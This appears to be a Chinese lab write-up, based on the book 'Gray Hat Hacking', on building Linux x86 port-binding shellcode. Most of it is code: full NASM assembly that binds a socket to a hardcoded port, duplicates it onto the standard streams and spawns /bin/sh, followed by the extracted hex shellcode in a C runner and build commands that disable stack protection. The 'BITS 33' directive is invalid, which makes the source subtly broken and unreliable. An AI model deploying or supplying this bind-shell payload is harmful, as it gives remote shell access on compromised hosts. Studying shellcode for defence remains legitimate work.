linux下端口绑定shellcode编写与实现

　　本次实验都是基于《灰帽黑客：正义黑客的道德规范、渗透测试、攻击方法和漏洞分析技术》

实现端口绑定shellcode有下面几个步骤：

(1)     创建一个TCP套接字；

(2)     将该套接字绑定到攻击者指定的端口,这个端口通常会被硬编码到shellcode中；

(3)     让该套接字成为侦听套接字；

(4)     接受新连接；

(5)     将新接受的套接字复制到stdin、stdout和stderr上；

(6)     创一个新的命令shell进程（它将通过这个新套接字接受输入数据并发送输出结果）；

port_bind_asm.asm

BITS 33
section .text
global _start
_start:
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx

;server=socket(2,1,0)
push eax
push byte 0x1
push byte 0x2
mov ecx,esp
inc bl
mov al,102
int 0x80
mov esi,eax

;bind(server,(struct sockaddr *)&serv_addr,0x10)
push edx
push word 0xBBBB
push word 0x02BB
mov ecx,esp
push byte 0x10
push ecx
push esi
mov ecx,esp
mov al,102
inc bl
int 0x80

;listen(server,0)
xor edx,edx
push edx
push esi
mov ecx,esp
mov bl,0x4
mov al,102
int 0x80

;client=accept(server,0,0)
xor eax,eax
push eax
push eax
push esi
mov ecx,esp
inc bl
mov al,102
int 0x80
mov ebx,eax ;copied returned file descriptor of client to ebx

;dup2(client,0)
xor ecx,ecx
mov al,63
int 0x80

;dup2(client,1)
inc ecx
mov al,63
int 0x80

;dup2(client,2)
inc ecx
mov al,63
int 0x80

;standard execve("/bin/sh"...)
xor edx,edx
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al,0x0b
int 0x80

_end:
nop

汇编这个源代码文件，链接该程序，然后就可以执行：
nasm -f elf port_bind_asm.asm

ld -o port_bind_asm port_bind_asm.o

这步成功后，接下来就是提取十六进制操作码。我用自己编的一个自动提取shellcode的opcode脚本把它提取出来，生成一个abc.c文件。

abc.c

unsigned char shellcode[] ="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe"
"\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\xbb\xbb\x66\x68\xbb\x02"
"\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x31\xd2"
"\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x50\x50\x56\x89"
"\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41"
"\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
    void (*fp)(void);
    fp = (void *)shellcode;
    fp();
}

然后编译：gcc -z execstack -o port_bind_sc abc.c
最后执行，也是成功。在ubuntu下编译时必须加-z execstack，使堆栈可执行。在rhel下，似乎不必。反正读测试成功了。并且能用另一台机器访问。